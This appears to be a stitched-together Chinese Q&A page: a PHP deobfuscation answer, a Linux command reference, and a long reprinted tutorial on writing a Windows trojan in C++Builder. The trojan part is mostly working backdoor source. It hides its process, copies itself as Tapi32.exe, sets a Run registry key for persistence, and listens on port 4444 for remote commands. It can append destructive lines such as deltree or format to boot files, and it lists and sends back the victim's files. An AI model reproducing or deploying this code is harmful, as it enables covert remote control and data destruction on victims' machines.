chmod源碼
① 如何破解這段php代碼!<php //
把eval修改為exit,運行一下就能看到源碼,比如第一句eval運行後顯示的等效代碼如下:
$IIIIIII11I1l='is_file';$IIIIIII1l1l1='intval';$IIIIIIIIlI1I='preg_match_all';$IIIIIIII1I1l='basename';$IIIIIIIIlII1='strstr';$IIIIIII1lll1='eregi';$IIIIIII1lI1l='ceil';$IIIIIII1lIIl='is_writable';$IIIIIII1lIII='chmod';$IIIIIII1I111='ftruncate';$IIIIIII1I11l='fputs';$IIIIIII1I11I='touch';$IIIIIII1I1I1='filesize';$IIIIIII1I1Il='fread';$IIIIIII1Il11='flock';$IIIIIII1Il1l='fopen';$IIIIIII1IlII='fclose';$IIIIIII1II11='fgets';$IIIIIII1II1I='feof';$IIIIIII1IIl1='fwrite';$IIIIIII1IIII='fsockopen';$IIIIIIIl11ll='parse_url';$IIIIIIIIlI11='ereg';$IIIIIIIl11lI='strtoupper';$IIIIIIIIl1l1='trim';$IIIIIIIl1l1I='preg_match';$IIIIIIIlI1ll='';$IIIIIIIIIl11='implode';$IIIIIIIl1lll='file';$IIIIIIII1II1='substr';$IIIIIIIl1lI1='strpos';$IIIIIIIIl11l='preg_replace';$IIIIIIIIIlll='explode';$IIIIIIIl1Il1='rand';$IIIIIIIl1II1='array_rand';
用上面的內容替換第一個eval語句,把第二個eval替換為exit,運行後顯示出的等效代碼如下:
$OO0OO0000=$OOO000000{17}.$OOO000000{12}.$OOO000000{18}.$OOO000000{5}.$OOO000000{19};if(!0)$O000O0O00=$OO0OO0000($OOO0O0O00,'rb');$OO0OO000O=$OOO000000{17}.$OOO000000{20}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OO0OO00O0=$OOO000000{14}.$OOO000000{0}.$OOO000000{20}.$OOO000000{0}.$OOO000000{20};$OO0OO000O($O000O0O00,2366);$OO00O00O0=($OOO0000O0($OO0OO00O0($OO0OO000O($O000O0O00,380),'/Le5qXTZ4ElzHKb92aouxWg3FRs+PmJhYV=','+/')));eval($OO00O00O0);
現在,大部分已經「解密」了,接下來可能有一點難度的是剩下的這兩句:
$OO00O00O0=($OOO0000O0($OO0OO00O0($OO0OO000O($O000O0O00,380),'/Le5qXTZ4ElzHKb92aouxWg3FRs+PmJhYV=','+/')));
eval($OO00O00O0);
要明白最後一個eval的內容,不能直接簡單的exit,需要輸出$OOO0000O0等變數的值,一下就明白是fgets從本文件裡面讀取,現在內容修改了,會失敗的,處理方法:先把原始PHP文件復制一份,比如名字叫做xxx.php,那麼下面一行要修改:
$OOO0O0O00=__FILE__;
改為:
$OOO0O0O00='xxx.php';
現在就可以再次替換最後的eval為exit顯示原始代碼了(你沒有粘貼文件的最後一部分,我無法代勞,你就當課堂練習吧)。
② linux下如何檢測硬碟和內存(源代碼)
linux命令詳解詞典
cat cd
chmod chown
cp cut
名稱:cat
使用許可權:所有使用者
使用方式:cat [-AbeEnstTuv] [--help] [--version] fileName
說明:把檔案串連接後傳到基本輸出(螢幕或加 > fileName 到另一個檔茄談案)
參數:
-n 或 --number 由 1 開始對所有輸出的行數編號
-b 或 --number-nonblank 和 -n 相似,只不過對於空白行不編號
-s 或 --squeeze-blank 當遇到有連續兩行以上的空白行,就代換為一行的空白行
-v 或 --show-nonprinting
範例:
cat -n textfile1 > textfile2 把 textfile1 的檔案內容加上行號後輸入 textfile2 這個檔案里
cat -b textfile1 textfile2 >> textfile3 把 textfile1 和 textfile2 的檔案內容加上行號(空白行不加)之後將內容附加到 textfile3
名稱:cd
使用許可權:所有使用者
使用方式:cd [dirName]
說明:變換工作目錄至 dirName。 其中 dirName 表示法可為絕對路徑或相對路徑。若目錄名稱省略,則變換至使用者的 home directory (也就是剛 login 時所在的目錄).另外,"~" 也表示為 home directory 的意思,"." 則是表示目前所在的目錄,".." 則表示目前目錄位置的上一層目錄。
範例:跳到 /usr/bin/:
cd /usr/bin
跳到自己的 home directory:
槐納弊cd ~
跳到目前目錄的上上兩層:
cd ../..
指令名稱:chmod
使用許可權:所有使用者
使用方式:chmod [-cfvR] [--help] [--version] mode file...
說明:Linux/Unix 的檔案存取許可權分為三級:檔案擁有者,群組,其他。利用 chmod 可以藉以控制檔案如何被他人所存取。
把計:
mode:許可權設定字串,格式如下:[ugoa...][[+-=][rwxX]...][,...],其中u 表示該檔案的擁有者,g 表示與該檔案的擁有者屬於同一個群體(group)者,o 表示其他以外的人,a 表示這三者皆是。
+ 表示增加許可權,- 表示取消許可權,= 表示唯一設定許可權。
r 表示可讀取,w 表示可寫入,x 表示可執行,X 表示只有當該檔案是個子目錄或者該檔案已經被設定過為可執行。
-c:若該檔案許可權確實已經更改,才顯示其更改動作
-f:若該檔案許可權無法被更改也不要顯示錯鉛族誤訊息
-v:顯示許可權變更的詳細資料
-R:對目前目錄下的所有檔案與子目錄進行相同的許可權變更(即以遞回的方式逐個變更)
--help:顯示輔助說明
--version:顯示版本
範例 :將檔案 file1.txt 設為所有人皆可讀取:
chmod ugo+r file1.txt
將檔案 file1.txt 設為所有人皆可讀取:
chmod a+r file1.txt
將檔案 file1.txt 與 file2.txt 設為該檔案擁有者,與其所屬同一個群體者可寫入,但其他以外的人則不可寫入:
chmod ug+w,o-w file1.txt file2.txt
將 ex1.py 設定為只有該檔案擁有者可以執行:
chmod u+x ex1.py
將目前目錄下的所有檔案與子目錄皆設為任何人可讀取:
chmod -R a+r *
此外chmod也可以用數字來表示許可權如 chmod 777 file
語法為:chmod abc file
其中a,b,c各為一個數字,分別表示User,Group,及Other的許可權。
r=4,w=2,x=1
若要rwx屬性則4+2+1=7;
若要rw-屬性則4+2=6;
若要r-x屬性則4+1=7。
範例:
chmod a=rwx file
和
chmod 777 file
效果相同
chmod ug=rwx,o=x file
和
chmod 771 file
效果相同
若用chmod 4755 filename可使此程式具有root的許可權
指令名稱:chown
使用許可權:root
使用方式:chmod [-cfhvR] [--help] [--version] user[:group] file...
說明:Linux/Unix 是多人多工作業系統,所有的檔案皆有擁有者。利用 chown 可以將檔案的擁有者加以改變。一般來說,這個指令只有是由系統管理者(root)所使用,一般使用者沒有許可權可以改變別人的檔案擁有者,也沒有許可權可以自己的檔案擁有者改設為別人。只有系統管理者(root)才有這樣的許可權。
把計:
user:新的檔案擁有者的使用者 IDgroup:新的檔案擁有者的使用者群體(group)-c:若該檔案擁有者確實已經更改,才顯示其更改動作-f:若該檔案擁有者無法被更改也不要顯示錯誤訊息-h:只對於連結(link)進行變更,而非該 link 真正指向的檔案-v:顯示擁有者變更的詳細資料-R:對目前目錄下的所有檔案與子目錄進行相同的擁有者變更(即以遞回的方式逐個變更)--help:顯示輔助說明--version:顯示版本
範例:
將檔案 file1.txt 的擁有者設為 users 群體的使用者 jessie:
chown jessie:users file1.txt
將目前目錄下的所有檔案與子目錄的擁有者皆設為 users 群體的使用者 lamport:
chmod -R lamport:users *
名稱:cp
使用許可權:所有使用者
使用方式:
cp [options] source dest
cp [options] source... directory
說明:將一個檔案拷貝至另一檔案,或將數個檔案拷貝至另一目錄。
把計:
-a 盡可能將檔案狀態,許可權等資料都照原狀予以復制。
-r 若 source 中含有目錄名,則將目錄下之檔案亦皆依序拷貝至目的地。
-f 若目的地已經有相同檔名的檔案存在,則在復制前先予以刪除再行復制。
範例:
將檔案 aaa 復制(已存在),並命名為 bbb:
cp aaa bbb
將所有的C語言程式拷貝至 Finished 子目錄中:
cp *.c Finished
名稱:cut
使用許可權:所有使用者
用法:cut -cnum1-num2 filename
說明:顯示每行從開頭算起 num1 到 num2 的文字。
範例:
shell>> cat example
test2
this is test1
shell>> cut -c0-6 example ## print 開頭算起前 6 個字元
test2
this i
用法:find
使用說明:
將檔案系統內符合 expression 的檔案列出來。你可以指要檔案的名稱,類別,時間,大小,許可權等不同資訊的組合,只有完全相符的才會被列出來。
find 根據下列規則判斷 path 和 expression,在命令列上第一個 - ( ) , ! 之前的部份為 path,之後的是 expression。如果 path 是空字串則使用目前路徑,如果 expression 是空字串則使用 -print 為預設 expression
expression 中可使用的選項有二三十個之多,在此只介紹最常用的部份。
-mount, -xdev:只檢查和指定目錄在同一個檔案系統下的檔案,避免列出其它檔案系統中的檔案
-amin n:在過去 n 分鍾內被讀取過
-anewer file:比檔案 file 更晚被讀取過的檔案
-atime n:在過去 n 天過讀取過的檔案
-cmin n:在過去 n 分鍾內被修改過
-cnewer file :比檔案 file 更新的檔案
-ctime n:在過去 n 天過修改過的檔案
-empty:空的檔案-gid n or -group name:gid 是 n 或是 group 名稱是 name
-ipath p, -path p:路徑名稱符合 p 的檔案,ipath 會忽略大小寫
-name name, -iname name:檔案名稱符合 name 的檔案。iname 會忽略大小寫
-size n:檔案大小 是 n 單位,b 代表 512 位元組的區塊,c 表示字元數,k 表示 kilo bytes,w 是二個位元組。-type c:檔案類型是 c 的檔案。
d: 目錄
c: 字型裝置檔案
b: 區塊裝置檔案
p: 具名貯列
f: 一般檔案
l: 符號連結
s: socket
-pid n:process id 是 n 的檔案
你可以使用 ( ) 將運算式分隔,並使用下列運算。
exp1 -and exp2
! expr
-not expr
exp1 -or exp2
exp1, exp2
範例:
將目前目錄及其子目錄下所有延伸檔名是 c 的檔案列出來。
# find . -name "*.c"
將目前目錄其其下子目錄中所有一般檔案列出
# find . -ftype f
將目前目錄及其子目錄下所有最近 20 分鍾內更新過的檔案列出
# find . -ctime -20
名稱:less
使用許可權:所有使用者
使用方式:
less [Option] filename
說明:
less 的作用與 more 十分相似,都可以用來瀏覽文字檔案的內容,不同的是 less 允許使用者往回卷動
以瀏覽已經看過的部份,同時因為 less 並未在一開始就讀入整個檔案,因此在遇上大型檔案的開啟時,會比一般的文書編輯器(如 vi)來的快速。
範例:
指令名稱:ln
使用許可權:所有使用者
使用方式:ln [options] source dist,其中 option 的格式為:
[-bdfinsvF] [-S backup-suffix] [-V {numbered,existing,simple}]
[--help] [--version] [--]
說明:Linux/Unix 檔案系統中,有所謂的連結(link),我們可以將其視為檔案的別名,而連結又可分為兩種:硬連結(hard link)與軟連結(symbolic link),硬連結的意思是一個檔案可以有多個名稱,而軟連結的方式則是產生一個特殊的檔案,該檔案的內容是指向另一個檔案的位置。硬連結是存在同一個檔案系統中,而軟連結卻可以跨越不同的檔案系統。
ln source dist 是產生一個連結(dist)到 source,至於使用硬連結或軟鏈結則由參數決定。
不論是硬連結或軟鏈結都不會將原本的檔案復制一份,只會佔用非常少量的磁碟空間。
-f:鏈結時先將與 dist 同檔名的檔案刪除-d:允許系統管理者硬鏈結自己的目錄-i:在刪除與 dist 同檔名的檔案時先進行詢問-n:在進行軟連結時,將 dist 視為一般的檔案-s:進行軟鏈結(symbolic link)-v:在連結之前顯示其檔名-b:將在鏈結時會被覆寫或刪除的檔案進行備份-S SUFFIX:將備份的檔案都加上 SUFFIX 的字尾-V METHOD:指定備份的方式--help:顯示輔助說明--version:顯示版本
範例:
將檔案 yy 產生一個 symbolic link:zz
ln -s yy zz
將檔案 yy 產生一個 hard link:zz
ln yy xx
名稱:locate
使用許可權:所有使用者
使用方式: locate [-q] [-d ] [--database=]
locate [-r ] [--regexp=]
locate [-qv] [-o ] [--output=]
locate [-e ] [-f ] <[-l ] [-c]
<[-U ] [-u]>
locate [-Vh] [--version] [--help]
說明:
locate 讓使用者可以很快速的搜尋檔案系統內是否有指定的檔案。其方法是先建立一個包括系統內所有檔案名稱及路徑的資料庫,之後當尋找時就只需查詢這個資料庫,而不必實際深入檔案系統之中了。在一般的 distribution 之中,資料庫的建立都被放在 contab 中自動執行。
一般使用者在使用時只要用
# locate your_file_name
的型式就可以了。 參數:
-u
-U
建立資料庫,-u 會由根目錄開始,-U 則可以指定開始的位置。
-e
將排除在尋找的范圍之外。
-l
如果 是 1.則啟動安全模式。在安全模式下,使用者不會看到許可權無法看到的檔案。這會始速度減慢,因為 locate 必須至實際的檔案系統中取得檔案的許可權資料。
-f
將特定的檔案系統排除在外,例如我們沒有到理要把 proc 檔案系統中的檔案放在資料庫中。
-q
安靜模式,不會顯示任何錯誤訊息。
-n
至多顯示 個輸出。
-r
使用正規運算式 做尋找的條件。
-o
指定資料庫存的名稱。
-d
指定資料庫的路徑
-h
顯示輔助訊息
-v
顯示更多的訊息
-V
顯示程式的版本訊息 範例:
locate chdrv:尋找所有叫 chdrv 的檔案
locate -n 100 a.out:尋找所有叫 a.out 的檔案,但最多隻顯示 100 個
locate -u:建立資料庫
名稱:ls
使用許可權:所有使用者
使用方式:ls [-alrtAFR] [name...]
說明:顯示指定工作目錄下之內容(列出目前工作目錄所含之檔案及子目錄)。
-a 顯示所有檔案及目錄 (ls內定將檔案名或目錄名稱開頭為"."的視為隱藏檔,不會列出)
-l 除檔案名稱外,亦將檔案型態,許可權,擁有者,檔案大小等資訊詳細列出
-r 將檔案以相反次序顯示(原定依英文字母次序)
-t 將檔案依建立時間之先後次序列出
-A 同 -a ,但不列出 "." (目前目錄) 及 ".." (父目錄)
-F 在列出的檔案名稱後加一符號;例如可執行檔則加 "*", 目錄則加 "/"
-R 若目錄下有檔案,則以下之檔案亦皆依序列出
範例:
列出目前工作目錄下所有名稱是 s 開頭的檔案,愈新的排愈後面:
ls -ltr s*
將 /bin 目錄以下所有目錄及檔案詳細資料列出:
ls -lR /bin
列出目前工作目錄下所有檔案及目錄;目錄於名稱後加 "/", 可執行檔於名稱後加 "*":
ls -AF
名稱:rm
使用許可權:所有使用者
使用方式:rm [options] name...
說明:刪除檔案及目錄。
把計:
-i 刪除前逐一詢問確認。
-f 即使原檔案屬性設為唯讀,亦直接刪除,無需逐一確認。
-r 將目錄及以下之檔案亦逐一刪除。
範例:
刪除所有C語言程式檔;刪除前逐一詢問確認:
rm -i *.c
將 Finished 子目錄及子目錄中所有檔案刪除:
rm -r Finished
名稱:rmdir
使用許可權:於目前目錄有適當許可權的所有使用者
使用方式: rmdir [-p] dirName
說明: 刪除空的目錄。
參數: -p 是當子目錄被刪除後使它也成為空目錄的話,則順便一並刪除。
範例:
將工作目錄下,名為 AAA 的子目錄刪除:
rmdir AAA
在工作目錄下的 BBB 目錄中,刪除名為 Test 的子目錄。若 Test 刪除後,BBB 目錄成為空目錄,則 BBB 亦予刪除。
rmdir -p BBB/Test
名稱:split
使用許可權:所有使用者
使用方式:split [OPTION] [INPUT [PREFIX]]說明:
將一個檔案分割成數個。而從 INPUT 分割輸出成固定大小的檔案,其檔名依序為 PREFIXaa, PREFIXab...;PREFIX 預設值為 `x。若沒有 INPUT 檔或為 `-,則從標准輸入讀進資料。
匡兜:
-b, --bytes=SIZE
SIZE 值為每一輸出檔案的大小,單位為 byte。
-C, --line-bytes=SIZE
每一輸出檔中,單行的最大 byte 數。
-l, --lines=NUMBER
NUMBER 值為每一輸出檔的列數大小。
-NUMBER
與 -l NUMBER 相同。
--verbose
於每個輸出檔被開啟前,列印出偵錯資訊到標准錯誤輸出。
--help
顯示輔助資訊然後離開。
--version
列出版本資訊然後離開。
SIZE 可加入單位: b 代表 512, k 代表 1K, m 代表 1 Meg。
範例:
Postgressql 大型資料庫備份與回存:
因 Postgres 允許表格大過你系統檔案的最大容量,所以要將表格 mp 到單一的檔案可能會有問題,使用 split進行檔案分割。
% pg_mp dbname | split -b 1m - filename.mp.
重新載入
% createdb dbname
% cat filename.mp.* | pgsql dbname
③ 哪裡有木馬源代碼分析啊 要詳解的 最好C語言編寫的
木馬是如何編寫的(一)
特洛依木馬這個名詞大家應該不陌生,自從98年「死牛崇拜」黑客小組公布Back Orifice以來,木馬猶如平地上的驚雷,使在Dos??Windows時代中長大的中國網民從五彩繽紛的網路之夢中驚醒,終於認識到的網路也有它邪惡的一面,一時間人心惶惶。
我那時在《電腦報》上看到一篇文章,大意是一個菜鳥被人用BO控制了,嚇得整天吃不下飯、睡不著覺、上不了網,到處求救!呵呵,要知道,木馬(Trojan)的歷史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木馬是由一些玩程式(主要是C)水平很高的年輕人(主要是老美)用C或Shell語言編寫的,基本是用來竊取登陸主機的口令,以取得更高的許可權。那時木馬的主要方法是誘騙??先修改你的.profile文件,植入木馬;當你登陸時將你敲入的口令字元存入一個文件,用Email的形式發到攻擊者的郵箱里。國內的年輕人大都是在盜版Dos的熏陶下長大的,對網路可以說很陌生。直到Win9x橫空出世,尤其是WinNt的普及,大大推動了網路事業的發展的時候,BO這個用三年後的眼光看起來有點簡單甚至可以說是簡陋的木馬(甚至在Win9x的「關閉程序」對話框可以看到進程)給了當時中國人極大的震撼,它在中國的網路安全方面可以說是一個劃時代的軟體。
自己編寫木馬,聽起來很Cool是不是?!木馬一定是由兩部分組成??伺服器程序(Server)和客戶端程序(Client),伺服器負責打開攻擊的道路,就像一個內奸特務;客戶端負責攻擊目標,兩者需要一定的網路協議來進行通訊(一般是TCP/IP協議)。為了讓大家更好的了解木馬攻擊技術,破除木馬的神秘感,我就來粗略講一講編寫木馬的技術並順便編寫一個例子木馬,使大家能更好地防範和查殺各種已知和未知的木馬。
首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如「死牛崇拜」黑客小組公布的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談??難道你還給受害者傳一個1兆多的動態鏈接庫??Msvbvm60.dll嗎?
啟動C++Builder 5.0企業版,新建一個工程,添加三個VCL控制項:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMftp和NMSMTP。Server Socket的功能是用來使本程序變成一個伺服器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,後來微軟將它引入了Windows中(包括Win98和WinNt);後兩個控制項的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協議)功能,大家一看都知道是使軟體具有上傳下載功能和發郵件功能的控制項。
Form窗體是可視的,這當然是不可思議的。不光佔去了大量的空間(光一個Form就有300K之大),而且使軟體可見,根本沒什麼作用。因此實際寫木馬時可以用一些技巧使程序不包含Form,就像Delphi用過程實現的小程序一般只有17K左右那樣。
我們首先應該讓我們的程序能夠隱身。雙擊Form,首先在FormCreate事件中添加可使木馬在Win9x的「關閉程序」對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是一種被稱之為Service的後台進程,它可以運行在較高的優先順序下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程資料庫中用RegisterServiceProcess()函數注冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那麼我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。
首先判斷目標機的操作系統是Win9x還是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定義RegisterServiceProcess()函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://載入RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函數的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://執行RegisterServiceProcess()函數,隱藏本進程
FreeLibrary(hDLL);
file://卸載動態鏈接庫
}
}
這樣就終於可以隱身了(害我敲了這么多代碼!)。為什麼要判斷操作系統呢?因為WinNt中的進程管理器可以對當前進程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到後面再講)。接著再將自己拷貝一份到%System%目錄下,例如:C:\Windows\System,並修改注冊表,以便啟動時自動載入:
{
char TempPath[MAX_PATH];
file://定義一個變數
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小,得到目標機的System目錄路徑
SystemPath=AnsiString(TempPath);
file://格式化TempPath字元串,使之成為能供編譯器使用的樣式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://將自己拷貝到%System%目錄下,並改名為Tapi32.exe,偽裝起來
Registry=new TRegistry;
file://定義一個TRegistry對象,准備修改注冊表,這一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
file://設置主鍵為HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創建之
try
{
file://如果以下語句發生異常,跳至catch,以避免程序崩潰
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有「crossbow」字樣的鍵值,並且是否為拷貝的目錄%System%+Tapi32.exe
file://如果不是,就寫入以上鍵值和內容
}
catch(...)
{
file://如果有錯誤,什麼也不做
}
}
好,FormCreate過程完成了,這樣每次啟動都可以自動載入Tapi32.exe,並且在「關閉程序」對話框中看不見本進程了,木馬的雛形初現。
接著選中ServerSocket控制項,在左邊的Object Inspector中將Active改為true,這樣程序一啟動就打開特定埠,處於伺服器工作狀態。再將Port填入4444,這是木馬的埠號,當然你也可以用別的。但是你要注意不要用1024以下的低端埠,因為這樣不但可能會與基本網路協議使用的埠相沖突,而且很容易被發覺,因此盡量使用1024以上的高端埠(不過也有這樣一種技術,它故意使用特定埠,因為如果引起沖突,Windows也不會報錯 ^_^)。你可以看一看TNMFTP控制項使用的埠,是21號埠,這是FTP協議的專用控制埠(FTP Control Port);同理TNMSMTP的25號埠也是SMTP協議的專用埠。
再選中ServerSocket控制項,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定義了一堆待會兒要用到的變數
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一個文本文件Win369.bat,作為臨時文件使用
AnsiString temp=Socket->ReceiveText();
file://接收客戶端(攻擊者,也就是你自己)傳來的數據
}
好,大門敞開了!接著就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字元串的前9個字元是「edit conf」
{
int number=temp.Length();
file://得到字元串的長度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://將第11個字元轉換成integer型,存入file_name變數
file://為什麼要取第11個字元,因為第10個字元是空格字元
content=(temp.SubString(12,number-11)+'\n').c_str();
file://餘下的字元串將被作為寫入的內容寫入目標文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://將兩個目標文件的屬性改為可讀可寫
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11個字元是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11個字元是1,就把Config.sys格式化
times_of_try=0;
file://定義計數器
while(fp==NULL)
{
file://如果指針是空
fp=fopen(filename,"a+");
file://如果文件不存在,創建之;如果存在,准備在其後添加
file://如果出錯,文件指針為空,這樣就會重復
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就發回「Fail By Open File」的錯誤信息
goto END;
file://跳至END處
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!
fclose(fp);
file://寫完後關閉目標文件
Socket->SendText("Sucess");
file://然後發回「Success」的成功信息
}
}
上回我們講到如何修改目標機上的啟動配置文件,這回我們就來查看目標機上的目錄樹和文件吧,這在客戶端上使用「dir」命令,跟著敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3個字元是「dir」
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字元串的長度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://從字元串第六個字元開始,將後面的字元存入Dir_Name變數,這是目錄名
if(Dir_Name=="")
{
file://如果目錄名為空
Socket->SendText("Fail By Open DIR's Name");
file://返回「Fail By Open DIR's Name」信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打開目錄出錯
Socket->SendText("Fail by your DIR's name!");
file://返回「Fail By Your DIR's Name」信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指針是NULL
fp=fopen(TempFile,"w+");
file://就創建system\Win369.bat准備讀和寫;如果此文件已存在,則會被覆蓋
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了,仍未成功(真有耐心!)
Socket->SendText("Fail By Open File");
file://就發回「Fail By Open File」的錯誤信息
goto END;
file://並跳到END處
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果訪問目標目錄成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最後一個字元不是「\」,證明不是根目錄
filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();
file://加上「\」字元後將指針指向目錄流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如果是根目錄,則不用加「\」
attrib=_rtl_chmod(filename, 0);
file://得到目標文件的訪問屬性
if (attrib & FA_RDONLY)
file://「&」字元是比較前後兩個變數,如果相同返回1,否則返回0
fwrite(" R",sizeof(char),3,fp);
file://將目標文件屬性設為只讀
else
fwrite(" ",sizeof(char),3,fp);
file://失敗則寫入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://將目標文件屬性設為隱藏
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://將目標文件屬性設為系統
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://將目標文件屬性設為普通
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_DIREC)
fwrite(" <DIR> ",sizeof(char),9,fp);
file://將目標文件屬性設為目錄
else
fwrite(" ",sizeof(char),9,fp);
file://失敗則寫入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file://將目錄名寫入目標文件
fwrite(CR_LF,1,1,fp);
file://寫入換行
}
fclose(fp);
file://關閉文件
closedir(dir);
file://關閉目錄
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打開Win369.bat准備讀
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就發回「Fail By Open File」的錯誤信息
goto END;
file://並跳到END處
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='\0';
file://定義的一個空數組
Read_Num=fread(temp_content,1,300,fp1);
file://從目標文件中讀入前300個字元
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text變數加上剛才的300個字元
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重復
};
Return_Text=Return_Text+temp_content;
file://Return_Text變數加上剛才的300個字元
fclose(fp1);
file://關閉目標文件
Socket->SendText(Return_Text);
file://返回Return_Text變數的內容
}
}
夠長吧?!察看目錄樹這么費勁啊?!你後面可以用BCB中的各種列表框對Client.exe好好美化美化。接下來就是查看指定文件的內容了,Client將使用「type」命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4個字元是「type」
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://將目標文件流存入File_Name變數中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打開目標文件准備讀
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已試了100次了
Socket->SendText("Fail By Open File");
file://返回「Fail By Open File」的錯誤信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='\0';
file://定義一個空數組
Read_Num=fread(temp_content,1,300,fp);
file://從目標文件中讀入前300個字元
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的內容加上剛才的字元
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重復
};
Return_Text=Return_Text+temp_content;
file://Return_Text的內容加上剛才的字元
fclose(fp);
file://關閉目標文件
Socket->SendText(Return_Text);
file://返回Return_Text的內容,即你查看文件的內容
}
}
咳咳!累死了!還是來點輕松的吧??操縱目標機的光碟機(注意:mciSendString()函數的聲明在mmsystem.h頭文件中):
{
else if(temp=="open")
{
file://如果收到的temp的內容是「open」
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就彈出光碟機的托盤
}
else if(temp=="close")
{
file://如果收到的temp的內容是「close」
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光碟機的托盤。當然你也可以搞個死循環,讓他的光碟機好好活動活動!^_^
}
}
接著就是交換目標機的滑鼠左右鍵,代碼如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交換滑鼠左右鍵,簡單吧?
}
}
